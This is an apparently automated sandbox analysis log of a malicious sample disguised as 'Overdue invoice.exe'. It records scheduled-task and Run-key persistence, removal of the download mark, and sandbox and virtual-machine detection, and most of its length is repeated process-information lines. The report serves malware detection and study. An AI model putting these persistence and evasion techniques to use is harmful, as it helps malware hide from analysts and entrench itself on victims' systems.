Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmpA306.tmp

Source: C:\Users\user\Desktop\Overdue invoice.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run yqWDN			Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run yqWDN			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\Overdue invoice.exe

File opened: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Overdue invoice.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 7048, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Overdue invoice.exe, 00000000.00000002.298765029.000000000294E000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 0000000F.00000002.373514445.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Overdue invoice.exe, 00000000.00000002.298765029.000000000294E000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 0000000F.00000002.373514445.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Overdue invoice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Overdue invoice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Overdue invoice.exe TID: 6536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe TID: 4264	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe TID: 6276	Thread sleep count: 4378 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe TID: 6276	Thread sleep count: 4299 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe TID: 7128	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe TID: 7020	Thread sleep count: 3465 > 30
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe TID: 7020	Thread sleep count: 5329 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Overdue invoice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Overdue invoice.exe	Window / User API: threadDelayed 4378	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Window / User API: threadDelayed 4299	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Window / User API: threadDelayed 3465
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Window / User API: threadDelayed 5329

Source: C:\Users\user\Desktop\Overdue invoice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Overdue invoice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Overdue invoice.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Thread delayed: delay time: 922337203685477

Source: yqWDN.exe, 0000000F.00000002.371657286.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
